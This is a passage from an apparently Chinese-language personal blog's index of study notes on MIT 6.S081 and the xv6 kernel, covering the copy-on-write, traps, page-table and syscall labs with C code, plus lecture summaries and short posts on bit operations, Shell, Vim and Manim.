Preparation To start the lab, switch to the cow branch: 123git fetchgit checkout cowmake clean OS真不是人写的把😭 Implement copy-on write(hard) 当xv6 fork一个子进程时,需要复制父进程的地址空间,这不仅占用了空间,也消耗了时间,你的任务是采用写时复制,fork()时child使用parent的内存空间,即子进程映射到父进程的物理空间上,当进程要写时,触发Page Fault 实现COW 修改uvmcopy()以在fork()时不分配新page,而映射到父进程 vm.c uvmcopy()1234567891011121314151617181920212223242526272829303132intuvmcopy(pagetable_t old, pagetable_t new, uint64 sz){ pte_t *pte; uint64 pa, i; uint flags; for(i = 0; i < sz; i += PGSIZE){ if((pte = walk(old, i, 0)) == 0) panic("uvmcopy: pte should exist"); if((*pte & PTE_V) == 0) panic("uvmcopy: page not present"); pa = PTE2PA(*pte); acquire(&cnt_lock); cnt[((uint64)pa) >> 12] += 1; release(&cnt_lock); *pte = *pte & (~PTE_W); *pte = *pte | (PTE_RSW); flags = PTE_FLAGS(*pte); if(mappages(new, i, PGSIZE, (uint64)pa, flags) != 0){ goto err; } } return 0; err: uvmunmap(new, 0, i / PGSIZE, 1); return -1;} 修改usertrap()以处理Page Fault trap.c usertrap()123456else if ((r_scause() == 15)) { uint64 va = r_stval(); if (cow(p->pagetable, va) < 0) { p->killed = 1; }} 添加PTE_RSW标志位用于标识是否是cow page riscv.h1#define PTE_RSW (1L << 8) 添加cow处理函数 vm.c1234567891011121314151617181920212223242526272829303132int cow(pagetable_t pagetable, uint64 va) { if (va >= MAXVA) { return -1; } pte_t* pte = walk(pagetable, va, 0); if (pte == 0) { return -1; } if ((*pte & PTE_V) == 0) { return -1; } if ((*pte & PTE_RSW) == 0) { return -1; } if ((*pte & PTE_U) == 0) { return -1; } uint64 pa = PTE2PA(*pte); uint64 ka = (uint64) kalloc(); if (ka == 0) { return -1; } else { memmove((char*)ka, (char*)pa, PGSIZE); uint64 flags = PTE_FLAGS(*pte); *pte = PA2PTE(ka) | flags | PTE_W; *pte &= (~PTE_RSW); kfree((void *)pa); return 0; }} 修改copyout() vm.c12345678910111213141516171819202122232425262728293031323334intcopyout(pagetable_t pagetable, uint64 dstva, char *src, uint64 len){ uint64 n, va0, pa0; while(len > 0){ va0 = PGROUNDDOWN(dstva); pa0 = walkaddr(pagetable, va0); if(pa0 == 0) return -1; pte_t* pte = walk(pagetable, va0, 0); if (pte == 0) { return -1; } if ((*pte & PTE_W) == 0) { if (cow(pagetable, va0) < 0) { return -1; } } pa0 = PTE2PA(*pte); n = PGSIZE - (dstva - va0); if(n > len) n = len; memmove((void *)(pa0 + (dstva - va0)), src, n); len -= n; src += n; dstva = va0 + PGSIZE; } return 0;} 添加计数器和锁,并在每次fork是增加计数,在free时只有计数为0时才能真正free kalloc.c12struct spinlock cnt_lock;int cnt[PHYSTOP >> 12]; Optional challenge exercises Modify xv6 to support both lazy page allocation and COW. Measure how much your COW implementation reduces the number of bytes xv6 copies and the number of physical pages it allocates. Find and exploit opportunities to further reduce those numbers.","link":"/2023/04/23/6-S081-Lab-cow/"},{"title":"MIT 6.S081 Lecture 16: File system performance and fast crash recovery","text":"Reading Read Journaling the Linux ext2fs Filesystem (1998) Information 第一节OS论文的阅读讲座 ext3 “log” = journal ext3 = ext2 + journal xv6 log review ext3 log ext3 log format ASYNC Batching Concurrency ext3 code steps in commit","link":"/2023/04/22/6-S081-Lecture-16/"},{"title":"MIT 6.S081 Lecture 15: Crash recovery","text":"Reading Read logging sections of “File system” read code Information 最后一节关于xv6的讲座了,后面的重点会放在操作系统论文的阅读上 再见了所有的xv6 😭 Problem crash如电源中断,系统重启等 crash会使得建立在磁盘上的文件系统进入不正确的的状态,怎样保证crash后维持正确的状态呢? 解决方案是logging Risk 文件系统的操作是多步的 如果crash后重启,很可能要么再次crash,要么读写了错误的数据 logging log的步骤 log writes commit op install clean log log能够保证文件系统操作的原子性,并提供快速恢复的能力,在不同步骤crash都有不同的恢复方案 log的内容 内存中有磁盘中log的cache Challenges eviction 不要驱逐正在log的block fs operation must fit log log限制了文件系统一次最多只能操作30个block concurrent fs calls 并行的文件系统操作也要符合上一条log的限制 Summary log for multi-step ops But: performance","link":"/2023/04/22/6-S081-Lecture-15/"},{"title":"Network Protocol","text":"Introduction 计算机网络的架构分为很多层,其中主流的分类方法是四层的TCP/IP结构,本文将从这四层结构出发(又是自顶向下😆),介绍属于网络不同层的网络协议。 Layer 应用层 HTTP 运输层 TCP UDP 网络层 IP 链路层 Ethernet","link":"/2023/04/20/Network-Protocol/"},{"title":"MIT 6.S081 Lecture 14: File systems","text":"Reading Read Chapter8 read code File System User-friendly names/pathnames Share files between users/process Persistence/durability Why intersting? Abstraction is useful Crash safety Disk layout Performance -> Storage devices are slow -> to be fast storage -> buffercache device -> concurrency API example xv6文件系统提供的API实现了文件系统基本的用户级操作 FS structure inode含有文件的信息,代表一个独立的文件 inode的大小是64Bytes FS Layer 文件系统的多层结构抽象了硬件,并为软件提供了接口 Storage devices 这里需要注意的是sector和block的大小,在xv6中 sector -> 512Bytes block -> 1024Bytes 这里有一个问题,block的大小由什么决定,是软件还是硬件,个人认为这里的block是由xv6的设计决定的 Disk layout 这就是文件系统在磁盘上的架构,单位是block(1024B) block0 -> boot block1 -> superblocks block2-31 -> log block32-44 -> inode 每个inode 64B block45 -> bitmap block46-… -> data On-disk inode inode是一个数据结构,大小64B,包含了文件的基本信息和数据映射 type代表了文件的类型,如文件或目录 nlink size文件的大小 bn0-bn11 -> direct block number 每个bn都是4B的地址 直接映射到12个block的地址 bn12 -> indirect block number bn12是一个4B的地址 映射到一个block,这个block包含了256个bn直接映射到256个block 一个block(1024B)可包含1024B/4B = 256个bn 总共的直接映射bn数量12+256 = 268个 文件的最大大小268*1024B = 268KB Directory 目录是一个文件,它的data中包含了特殊的数据结构entry(16B),可以把文件名和文件索引联系起来 “/y/x"中第一个”/"的意思是root inode,其索引为1 Bcache(block cache) one copy of block in memory sleep locks LRU two levels of locking protect bcache sleep locks Summary fs = on-disk data structure block cache","link":"/2023/04/20/6-S081-Lecture-14/"},{"title":"MIT 6.S081 Lecture 13: Q&A labs","text":"COW lab","link":"/2023/04/20/6-S081-Lecture-13/"},{"title":"Bit operation","text":"基本运算 1.& 运算符 与运算符,两位都为1时,结果为1,否则为0。 2.| 运算符 或运算符,两位都为0时,结果为0,否则为1。 3.^ 运算符 异或运算符,两位相同时为1,不同为0。 4.~ 运算符 取反运算符,按位取反。 5.<< 左移运算符 向左移动x位,数值大小变为原来的2x倍 取模,例如int型整数有32位,至多移32位,对于1<<35,1<<3结果是相同的。 6.>> 右移运算符 向右移动x位,数值大小缩小为原来的2x倍,由逻辑右移和算数右移两种,在C++中取决于数据类型 运算定律 交换律始终成立 结合律只对单一运算成立 & |是不可逆运算,造成信息丢失,仅仅构成交换幺半群 ^ 符合结合律,^0不变,也就是说,^ 运算在S = {0, 1}下构成一个幺半群,其单位元为0,且任意元素的可逆元素为自身,则构成了一个群,另外,由于位运算交换律始终成立,这个群又是一个阿贝尔群(交换群)。 证明如下 $ 我们说(S, *)是一个幺半群,该二元运算满足结合律,且具有单位元,即 $ $$ (1)\\forall x, y, z \\in S, x * (y * z) = (x * y) * z $$ $$ (2)\\exists 0 \\in S, \\forall x \\in S, 0 * x = x * 0 = x $$ $ 因为(S, *)是一个幺半群,且S中所有元素可逆,我们说(S, *)是一个群,即 $ $$ \\forall x \\in G, \\exists y \\in G, x * y = y * x = 0 $$ $ 由于位运算符合交换律,(S, *)又是一个阿贝尔群 $ 这个证明可以推广到任意位的二进制数上,单位元仍是0b0,逆元仍是元素本身 常用操作 & | ^ 对bit的影响 &0变0 &1不变 |0不变 |1变1 ^0不变 ^1位取反 example12345678910111213141516170 & 0 -> 01 & 0 -> 00 & 1 -> 01 & 1 -> 10 | 0 -> 01 | 0 -> 10 | 1 -> 11 | 1 -> 10 ^ 0 -> 01 ^ 0 -> 10 ^ 1 -> 11 ^ 1 -> 0 二进制补码相反数 example123456int negate(int x) { return (~x) + 1;}// 取反再加一int x = 0x1; // x == 1int y = ~x + 1; // y == 0x1111...1110 + 1 == -1 交换两个整数值 / 交换且保证两个数的二进制位模式不变 example123456int swap(int &a,int &b){ a = a ^ b; b = a ^ b; a = a ^ b;} 判断奇偶 example12345if((a & 1) == 0){ //是个偶数}else //是个奇数 奇技淫巧? 位运算实现x ? y : z example1234int conditional(int x, int y, int z) { x = !!x; return (~x + 1) & y | ~(~x + 1) & z;}","link":"/2023/04/16/Bit-operation/"},{"title":"RISC-V","text":"Introduction RISC-V是一种精简指令集架构的汇编语言 Feeling RISC-V的核心说明文档只有一页纸那么大,相比起x86臃肿的指令集架构,RISC-V的简单易学很适合作为汇编语言的入门,近年来指令集架构也有从CISC到RISC转变的倾向,但是大部分的机器仍然在x86下运行,整个世界的结构可以说是以x86为主流的。 Links RISC-V Green Card in CS61C 详尽文档 ISA updating…","link":"/2023/04/16/RISC-V/"},{"title":"MIT 6.S081 Lecture 12: Scheduling 2","text":"Reading Read remainder of “Scheduling” read code Sleep and Wake up Deadlock 造成死锁的情况是,p1获取了锁,但是通过swtch切换了进程,另一个进程p2也想要获取锁,但p1并没有释放锁,于是p2进入了循环等待的过程中,而这种情况是无法停止下来的,这样获取锁和解除锁的顺序不同导致的问题就叫做死锁 Coodination Lost Wakeups","link":"/2023/04/15/6-S081-Lecture-12/"},{"title":"MIT 6.S081 Lecture 11: Scheduling 1","text":"Reading Read “Scheduling” through Section 7.4 read code Thread thread - one serial execution 一个串行执行代码的单元,只占用一个cpu 一个线程区别于其他线程的地方是pc, regs, stack interleave thread multi core switch shared memory? -> Locks xv6 内核线程共享了内存 xv6 用户进程不共享内存 Linux 用户进程共享内存 其他的多任务解决方案 事件驱动编程 状态机 challenge switch - interleave 线程调度(scheduling) what to save / restore compute - bound 运算密集进程不肯让出cpu timer interrupts kernel handler yield - switch pre-emptive scheduling 抢占式调度 voluntary scheduling 自愿调度 线程的state running 在运行 runnable 等待被运行 sleeping 由于系统调用在等待I/O设备等 Context Switch 简化的线程切换过程 其主要的设计在于,当要切换线程时,不在用户层直接切换,而在内核切换 完整的线程切换过程 每个用户线程对应一个内核线程 每个内核线程拥有一个context 每个cpu核心拥有一个调度器线程和保存在cpu结构体中的调度器context 用户线程p1由于timer interrupt或是系统调用等待I/O设备,其数据被保存在tf1中进入对应的内核线程k1 内核线程k1数据被保存在其对应的context并switch到调度器线程s0 调度器线程数据被保存在调度器context并跳到另一个runnable状态的内核线程k2 内核线程k2通过其对应的context恢复数据后执行c程序,该程序通过先前已经被保存的tf2恢复用户进程p2的数据,将运行的线程切换到p2 context switch有不同含义,在本课中特指在内核空间中内核线程与调度器线程之间的切换 何为“数据” 在p1切换到k1的过程中,数据被保存在trapframe中,主要包括pc,32个通用寄存器和一些有关trap机制的寄存器 在k1切换到s0的过程中,数据被保存在context中,主要包括32个通用寄存器中的callee saved register。不保存pc的原因是在调用切换函数时,pc已经被更改了,没有保存pc的必要","link":"/2023/04/15/6-S081-Lecture-11/"},{"title":"MIT 6.S081 Lecture 8: Q&A labs","text":"pagetable lab 似乎讲解的是2020的lab,与2021的lab不同","link":"/2023/04/15/6-S081-Lecture-8/"},{"title":"MIT 6.S081 Lab traps","text":"Compulsory exercises Preparation reading To start the lab, switch to the trap branch 123git fetchgit checkout trapsmake clean RISC-V assembly (easy) Which registers contain arguments to functions? For example, which register holds 13 in main’s call to printf? a0-a1 a2-a7; a2 Where is the call to function f in the assembly code for main? Where is the call to g? (Hint: the compiler may inline functions.) f in printf 0x34 , g in f 0x14 At what address is the function printf located? 0x630 What value is in the register ra just after the jalr to printf in main? 0x38 Run the following code. 12unsigned int i = 0x00646c72;printf("H%x Wo%s", 57616, &i); What is the output? 注意字节序是小端序 He110 World The output depends on that fact that the RISC-V is little-endian. If the RISC-V were instead big-endian what would you set i to in order to yield the same output? Would you need to change 57616 to a different value? i = 0x72646c00 -> “ord\\0” no In the following code, what is going to be printed after ‘y=’? (note: the answer is not a specific value.) Why does this happen? 1printf("x=%d y=%d", 3); x=3 y=寄存器a2的十进制值,因为在printf没有传入第三个参数,a2没有被更新,因此直接把原来a2的值传入 Backtrace (moderate) 该任务是打印出错堆栈前的所有返回地址ra Implement a backtrace() function in kernel/printf.c 添加定义和内联函数(内核中) defs.h //printf.c1void backtrace(void); riscv.h12345678// store frame pointerstatic inline uint64r_fp(){ uint64 x; asm volatile("mv %0, s0" : "=r" (x) ); return x;} 注意ra在fp-8处,上一个fp在fp-16处 使用riscv中的宏定义PGROUNDDOWN(fp)和PGROUNDUP(fp)确定循环终止条件 实现backtrace() kernel/printf.c12345678910111213void backtrace(void){ printf("backtrace:\\n"); uint64 fp = r_fp(); uint64 start = PGROUNDDOWN(fp); uint64 end = PGROUNDUP(fp); while (start <= fp && fp <= end) { uint64 ra = *(uint64*)(fp - 8); fp = *(uint64*)(fp - 16); printf("%p\\n", ra); }} 添加至sys_sleep()和panic() sysproc.c1backtrace(); kernel/printf.c panic()1backtrace(); Alarm (hard) 添加系统调用在计时器中断时打印alarm test0: invoke handler 修改proc.h proc.h struct proc123int ticks;uint64 handler;int gonetick; 需要完成sigalarm系统调用,并且添加sigreturn系统调用(空) sysproc.c1234567891011121314151617181920212223uint64sys_sigalarm(void){ int ticks; uint64 handler; if (argint(0, &ticks) < 0) return -1; if (argaddr(1, &handler) < 0) return -1; struct proc* p = myproc(); p->ticks = ticks; p->handler = handler; return 0;}uint64sys_sigreturn(void){ //test0 return 0;} 修改usertrap() trap.c usertrap()12345678//test0if(which_dev == 2) { p->gonetick += 1; if (p->ticks_pass % p->ticks == 0) { p->trapframe->epc = p->handler; } yield();} test1/test2(): resume interrupted code test0尚未完成返回,因此程序在alarm后崩溃,需要补全sigreturn 修改proc.h用于保存alarm时的寄存器信息,inhandler防止函数被多次调用 需要初始化的参数可以通过allocproc()初始化 proc.h struct proc >folded1234567891011121314151617181920212223242526272829303132333435363738int ticks;uint64 handler;int gonetick;int inhandler;/* 40 */ uint64 ra;/* 48 */ uint64 sp;/* 56 */ uint64 gp;/* 64 */ uint64 tp;/* 72 */ uint64 t0;/* 80 */ uint64 t1;/* 88 */ uint64 t2;/* 96 */ uint64 s0;/* 104 */ uint64 s1;/* 112 */ uint64 a0;/* 120 */ uint64 a1;/* 128 */ uint64 a2;/* 136 */ uint64 a3;/* 144 */ uint64 a4;/* 152 */ uint64 a5;/* 160 */ uint64 a6;/* 168 */ uint64 a7;/* 176 */ uint64 s2;/* 184 */ uint64 s3;/* 192 */ uint64 s4;/* 200 */ uint64 s5;/* 208 */ uint64 s6;/* 216 */ uint64 s7;/* 224 */ uint64 s8;/* 232 */ uint64 s9;/* 240 */ uint64 s10;/* 248 */ uint64 s11;/* 256 */ uint64 t3;/* 264 */ uint64 t4;/* 272 */ uint64 t5;/* 280 */ uint64 t6;uint64 epc; 完成sigreturn系统调用 sysproc.c >folded12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758uint64sys_sigalarm(void){ int ticks; uint64 handler; if (argint(0, &ticks) < 0) return -1; if (argaddr(1, &handler) < 0) return -1; struct proc* p = myproc(); p->ticks = ticks; p->handler = handler; return 0;}uint64sys_sigreturn(void){ //test12 struct proc* p = myproc(); p->trapframe->ra = p->ra; p->trapframe->sp = p->sp; p->trapframe->gp = p->gp; p->trapframe->tp = p->tp; p->trapframe->t0 = p->t0; p->trapframe->t1 = p->t1; p->trapframe->t2 = p->t2; p->trapframe->s0 = p->s0; p->trapframe->s1 = p->s1; p->trapframe->a0 = p->a0; p->trapframe->a1 = p->a1; p->trapframe->a2 = p->a2; p->trapframe->a3 = p->a3; p->trapframe->a4 = p->a4; p->trapframe->a5 = p->a5; p->trapframe->a6 = p->a6; p->trapframe->a7 = p->a7; p->trapframe->s2 = p->s2; p->trapframe->s3 = p->s3; p->trapframe->s4 = p->s4; p->trapframe->s5 = p->s5; p->trapframe->s6 = p->s6; p->trapframe->s7 = p->s7; p->trapframe->s8 = p->s8; p->trapframe->s9 = p->s9; p->trapframe->s10 = p->s10; p->trapframe->s11 = p->s11; p->trapframe->t3 = p->t3; p->trapframe->t4 = p->t4; p->trapframe->t5 = p->t5; p->trapframe->t6 = p->t6; p->trapframe->epc = p->epc; p->inhandler = 0; return 0;} 修改usertrap() trap.c usertrap() >folded123456789101112131415161718192021222324252627282930313233343536373839404142434445//test12if(which_dev == 2 && p->inhandler == 0) { p->gonetick += 1; if (p->ticks && p->gonetick == p->ticks) { p->gonetick = 0; p->inhandler = 1; p->ra = p->trapframe->ra; p->sp = p->trapframe->sp; p->gp = p->trapframe->gp; p->tp = p->trapframe->tp; p->t0 = p->trapframe->t0; p->t1 = p->trapframe->t1; p->t2 = p->trapframe->t2; p->s0 = p->trapframe->s0; p->s1 = p->trapframe->s1; p->a0 = p->trapframe->a0; p->a1 = p->trapframe->a1; p->a2 = p->trapframe->a2; p->a3 = p->trapframe->a3; p->a4 = p->trapframe->a4; p->a5 = p->trapframe->a5; p->a6 = p->trapframe->a6; p->a7 = p->trapframe->a7; p->s2 = p->trapframe->s2; p->s3 = p->trapframe->s3; p->s4 = p->trapframe->s4; p->s5 = p->trapframe->s5; p->s6 = p->trapframe->s6; p->s7 = p->trapframe->s7; p->s8 = p->trapframe->s8; p->s9 = p->trapframe->s9; p->s10 = p->trapframe->s10; p->s11 = p->trapframe->s11; p->t3 = p->trapframe->t3; p->t4 = p->trapframe->t4; p->t5 = p->trapframe->t5; p->t6 = p->trapframe->t6; p->epc = p->trapframe->epc; p->trapframe->epc = p->handler; } yield();} Optional challenge exercises Print the names of the functions and line numbers in backtrace() instead of numerical addresses (hard).","link":"/2023/04/13/6-S081-Lab-traps/"},{"title":"CTF","text":"Introduction CTF(Capture The Flag)夺旗赛,是网络安全爱好者之间的竞技游戏。 Links CTF wiki CTFHub updating…","link":"/2023/04/13/CTF/"},{"title":"Shell","text":"Introduction Shell通常是运行在操作系统用户层的一个程序,它的表现很像操作系统的外壳(Shell),它接受键盘输入并执行程序,将结果写入到标准输出流中。shell的种类很多,有bash,zsh,fish等 Common Usage(wsl) 文件和目录 ls 列出当前路径下的文件和目录 -a 列出包括隐藏文件的文件和目录 -l 列出详细信息 pwd 显示当前目录 touch <filename> 创建新文件 mkdir <dirname 创建新目录 rm <filename> 删除文件 -r 递归删除目录 -f 强制删除文件 rmdir <dirname> 删除空目录 rm -r <dirname> 删除目录下所有内容 mv src dst 移动文件或目录(重命名) find path -name patten 查找path下文件名匹配pattern的文件 cd <path> 转换工作路径 . 此目录 .. 父目录 ~ 根目录 - 切换前的目录 / 开头代表绝对路径 无 / 开头代表相对路径 快捷键 man readline 可以查看 Bash 中的默认快捷键。内容有很多,例如 alt-. 循环地移向前一个参数,而 alt-* 可以展开通配符。 ctrl-w 删除你键入的最后一个单词 ctrl-u 可以删除行内光标所在位置之前的内容, alt-b 和 alt-f 可以以单词为单位移动光标, ctrl-a 可以将光标移至行首 ctrl-e 可以将光标移至行尾 ctrl-k 可以删除光标至行尾的所有内容 ctrl-l 可以清屏。 ctrl-c ctrl-z ctrl-r 搜索命令行历史记录 文件编辑 cat <filename> 输出文件内容 -n 输出行号 vim <filename> 用Vim打开或创建一个文件 code <path> 用vscode打开目录(需要安装插件?) 包管理器 apt-get yum dnf pacman pip npm 网络 ssh 自定义配置 vim ~/.bashrc Links 详细命令 updating…","link":"/2023/04/10/Shell/"},{"title":"Vim","text":"Introduction Vim是一个类似于Vi的著名的功能强大、高度可定制的文本编辑器 Usage 参考教程 基本键位 自定义配置 vim .vimrc 插件安装 vimawesome 在.vimrc中 1234567" Plugcall plug#begin()Plug 'scrooloose/nerdtree'"Plug 'vim-jp/vim-cpp'Plug 'valloric/youcompleteme'" Plug 'wikitopian/hardmode' call plug#end()","link":"/2023/04/09/Vim/"},{"title":"MIT 6.S081 Lecture 10: Multiprocessors and locking","text":"Reading Read Locking read code Locks introduction apps wants to multiple cores kernel must handle parallel sys calls access shared data structure in parallel -> locks for correct sharing locks limit performance Microprocessor trend Lock abstraction struct lock 12345678// Mutual exclusion lock.struct spinlock { uint locked; // Is the lock held? // For debugging: char *name; // Name of lock. struct cpu *cpu; // The cpu holding the lock.}; 1234acquire(&l)// critical section// your code hererelease(&l) 程序有很多把锁,如果只有一把,串行影响性能,为达到某种程度的并行且保证正确性,程序使用多把锁 When to lock? Constructive Rule: two process access a shared data structure + one is writing too strict: lock free programming too loose: printf(“xxxx”) Could locking be automatic? Lock perspective avoid lost update make multi-step operation atomatic help maintain invariant Dead lock Locks vs modual lock ordering -> global 锁使模块化变得困难 Locks vs performance Implenment Lock memory ordering updating…","link":"/2023/04/08/6-S081-Lecture-10/"},{"title":"MIT 6.S081 Lecture 9: Interrupts","text":"Reading Read Chapter5 read code Interrupts HW wants attention now, like keyboard and network device 系统调用,traps,interrupts都使用相同的处理模式 save its work process interrupt resume its work interrrupts的特殊之处 asynchronous异步的 concurrency between cpu and device program device Where interrupts come from? 主板上的异步接口 cpu架构 PLIC 平台级中断控制器 UART 通用异步收发器(Universal Asynchronous Receiver/Transmitter) Driver manage device 经典的驱动架构 Programming Device memory mapped I/O ld/st read/write control register device How does ‘$ ls’ work? device puts ‘$’ into uart uart generate interrupts when char has been sent keyboard connect to generate interrupts RISC-V support for interrupts STE - one bit for E, S, T SSTATE - bit enable/disable SIP - interrrupt pending SCAUSE STVEC Interrrupts and concurrency device and cpu run in parallel producer / consumer parallelism interrupts stops the current program user? OK kernel? 必要时设置取消interrupts来保证原子性 top of device and bottom of device run in parallel use locks Interrupts evolution polling(轮询) 对于高速设备节省,如高性能网卡 对于低速设备浪费性能,如键盘 interrupts(中断) 动态切换polling和interrupts Tip: CS61C中关于设备访问的几种方式 polling相当于到店排队问好了没,好了我拿走 interrupts相当于准备好了通知你到店自取 DMA相当于外卖送货上门,你去拿就行了","link":"/2023/04/08/6-S081-Lecture-9/"},{"title":"Manim","text":"Introduction Manim是数学视频博主3b1b开发并使用的Python图形引擎,用于制作数学科普视频。 Usage 基本框架 python12345from manimlib import *import numpy as npclass SceneName(Scene): def construct(self):","link":"/2023/04/06/Manim/"},{"title":"MIT 6.S081 Lab pgtbl","text":"Compulsory exercises Preparation reading To start the lab, switch to the pgtbl branch: 123git fetchgit checkout pgtblmake clean Speed up system calls (easy) getpid()作为系统调用,每次调用时需要跳入内核并跳出,为加速pid的获取,ugetpid()函数可以通过分配虚拟地址将pid存入其中,从而实现不跳转不trap获取pid 修改内核函数实现ugetpid() map one read-only page at USYSCALL in proc_pagetable() proc.c proc_pagetable()12345if(mappages(pagetable, USYSCALL, PGSIZE, (uint64)(p->usyscall), PTE_R | PTE_U) < 0){ uvmfree(pagetable, 0); return 0;} allocate and initialize the page in allocproc() proc.c allocproc()123456// Allocate a usyscall page before creating a new pagetableif((p->usyscall = (struct usyscall *)kalloc()) == 0){ freeproc(p); release(&p->lock); return 0;} free the page in freeproc() proc.c freeproc()1234if(p->usyscall) { kfree((void*)p->usyscall); p->usyscall = 0;} umap USYSCALL in proc_freepagetable() proc.c proc_freepagetable()1uvmunmap(pagetable, USYSCALL, 1, 0); Print a page table (easy) RISC-V架构中的三级页表需要通过递归打印 添加内核函数vmprint() prototype for vmprint in defs.h defs.h //vm.c1void vmprint(pagetable_t); put vmprint() in vm.c vm.c123456789101112131415161718192021222324// help functionvoid vmprinthelp(pagetable_t pagetable, int level) { char *dot; if (level == 2) dot = ".."; if (level == 1) dot = ".. .."; if (level == 0) dot = ".. .. .."; for (int i = 0; i < 512; i++) { pte_t pte = pagetable[i]; if (pte & PTE_V) { uint64 child = PTE2PA(pte); printf("%s%d: pte %p pa %p\\n", dot, i, pte, child); if (level != 0) { vmprinthelp((pagetable_t)child, level - 1); } } }}voidvmprint(pagetable_t pagetable){ printf("page table %p\\n", pagetable); vmprinthelp(pagetable, 2);} Detecting which pages have been accessed (hard) 探测页表中的页是否被访问过 添加pgaccess系统调用 implementing sys_pgaccess() sysproc.c sysproc.c123456789101112131415161718192021#ifdef LAB_PGTBLintsys_pgaccess(void){ // lab pgtbl: your code here. uint64 firstpte; int num; uint64 buf; if (argaddr(0, &firstpte) < 0) return -1; if (argint(1, &num) < 0) return -1; if (argaddr(2, &buf) < 0) return -1; pagetable_t pagetable = myproc()->pagetable; pgaccess(pagetable, firstpte, num, buf); return 0;}#endif define PTE_A, the access bit, in riscv.h 参考下图PTE_A的位置 riscv.h1#define PTE_A (1L << 6) // 1 -> Accessed add pgaccess() in vm.c 注意第一个page对应mask最低有效位 注意探测一个带有PTE_A的page过后要消除PTE_A vm.c1234567891011121314151617uint64pgaccess(pagetable_t pagetable, uint64 firstpte, int num, uint64 buf) { uint64 mask = 0; uint64 limit = 64; for (uint64 i = 0; i < num && i < limit; i++) { pte_t *pte_ptr; pte_ptr = walk(pagetable, firstpte + i * (uint64)PGSIZE, 0); if ((pte_ptr != 0) && (*pte_ptr & PTE_A)) { mask = mask | (1L << i); *pte_ptr = *pte_ptr & (~PTE_A); } } copyout(pagetable, buf, (char *)&mask, 8); return 0; } Optional challenge exercises Use super-pages to reduce the number of PTEs in page tables. Unmap the first page of a user process so that dereferencing a null pointer will result in a fault. You will have to start the user text segment at, for example, 4096, instead of 0. Add a system call that reports dirty pages (modified pages) using PTE_D.","link":"/2023/04/05/6-S081-Lab-pgtbl/"},{"title":"MIT 6.S081 Lecture 7: Page faults","text":"Reading Read 4.6 Implenment VM features using page fault lazy allocation copy on write fork demand paging memory mapped files Virtual Memory benefits Isolation level of indirection trampline page guard page Information needed the faulting VA -> stval register type pf fault -> scause register load store pc the VA of Instruction that cause fault -> sepc register | trampframe? lazy allocation sbrk()原本应为进程改变堆的大小,分配内存 sbrk()系统调用基本不做事情,只p->size + n 当要使用这一部分内存时,触发Page Fault allocate 1 page zero page map the page restart instruction zero fill on demand 初始化的page VA共用一个PA,即映射到同一个物理地址上(Read Only) 当要写这些page时,触发Page Fault copy upgrade restart instruction copy on write fork fork()时child使用parent的内存空间,即子进程映射到父进程的物理空间上(Read Only) 当要写子进程,触发Page Fault copy page map restart instruction usrret demand page 当执行exec()系统调用时,load text data segment,eagarly pagetable,但是只在VA中分配,PTE不分配 当要执行程序时,触发Page Fault read block/page from file into memory map men into pgtbl restart instruction 当内存耗尽时 evict a page -> file use the just free page restart intruction 驱逐什么page? LRU and non-dirty 使用PTE中自定义的RW位实现LRU和dirty memory mapped files 当执行ld,sd指令时 mmap(VA, len, protection, flags, fd, offset)映射PA到VA unmap(VA, len) write back dirty block Summary for Page Table page tables + traps/page fault -> powerful elegent VM features","link":"/2023/04/04/6-S081-Lecture-7/"},{"title":"MIT 6.S081 Lecture 6: Isolation & system call entry/exit","text":"Reading Read Chapter4 read code Traps 实现用户层和内核层切换的机制 发生在如系统调用、Page Fault、/0的过程中 Traps register 32个通用register 包括sp栈指针 PC 程序计数器 MODE 代表当前在用户模式还是内核模式 SATP 指向pagetable的物理地址 STVEC 指向trap指令的起始地址 trapoline page SEPC 在trap时保存PC SSRACTCH 指向trapframe page supervisor mode supervisor mode可以读写上述控制寄存器,并且可以读写PTE_U = 0的page Traps process(shell write as example) uservec和userret是trampoline.S中的函数 usertrap()和usertrapret()是trap.c中的函数 syscall()是syscall.c中的函数,它根据寄存器传入的参数调用不同的系统调用,如sys_write() 上述文件均在kernel文件夹中 内存映射文件(Memory-mapped file access)机制,将用户空间的虚拟地址空间直接映射到文件内容,可以通过内存地址直接读写文件,这比read write系统调用快上许多,这一功能将在Lab mmap中实现 gdb调试traps .asm是带有指令地址的汇编代码 .S则没有指令地址 ctrl-a c 进入qemu的consolcc info mem打印pagetable csrrw a0, sscratch, a0 交换了a0和sscratch的内容 在trampoline page中执行traps,trampoline page包含了内核的trap处理代码,这个操作由内核通过stvec小心地映射到用户pagetable,但是由于PTE_U设置为0,所以不受用户影响 在RISC-V中,ecall尽量简单,由软件也即OS实现了traps机制,目的是实现软件的灵活性,ecall只干三件事 ecall从user mode切换到supervisor mode ecall将pc的值保存在sepc ecall跳转到stvec指向的指令 RISC-V在每个用户进程的pagetable中映射了trapframe page,其中最重要的是保存了32个用户通用寄存器,在进入traps之前,这个地址会保存在sscratch中 trapframe结构定义在proc.h中 之后从user pagetable切换到kernel pagetable,程序之所以没有崩溃的原因是trampoline page在U/K中映射相同 OS总是从Kernel启动,设置好一切与Traps有关的register后转移到User sret是从supervisor mode切换到user mode的RISCV-V指令 切换kernel pagetable后,我们只是换了个地方执行c程序 在usertrap()中scause = 8,代表我们是因为系统调用来到这里","link":"/2023/04/01/6-S081-Lecture-6/"},{"title":"MIT 6.S081 Lab syscall","text":"Compulsory exercises Preparation reading To start the lab, switch to the syscall branch: 123$ git fetch$ git checkout syscall$ make clean System call tracing (moderate) 了解trace的过程 trace.c调用系统调用trace() 系统调用trace()调用sys_trace()设置进程的mask 理解mask的含义 mask作为作为系统调用序号的掩码,如mask = (1 << SYS_read) | (1 << SYS_fork)代表同时trace read 和 fork系统调用 当mask = 2147483647时代表trace序号1 - 31的系统调用 question: mask的类型? uint64 or uint32? 理论上都是可行的 添加编译依赖 添加trace系统调用 code add sys_trace() 12345678910// add in sysproc.cuint64sys_trace(void){ uint64 m; if(argaddr(0, &m) < 0) return -1; myproc()->mask = m; return 0;} 12// add in proc.h struct proc uint64 mask; // 64bit Mask for syscall trace Modify fork() 1234// add in proc.c // copy the trace mask from the parent to the child process np->mask = p->mask; Modify the syscall() 123456789101112131415161718192021222324252627282930// add and modify in syscall.cchar const *syscallNames[] = { "", "fork", "exit", "wait", "pipe", "read", "kill", "exec", "fstat", "chdir", "dup", "getpid", "sbrk", "sleep","uptime", "open", "write", "mknod", "unlink", "link", "mkdir", "close","trace","sysinfo"};voidsyscall(void){ int num; struct proc *p = myproc(); num = 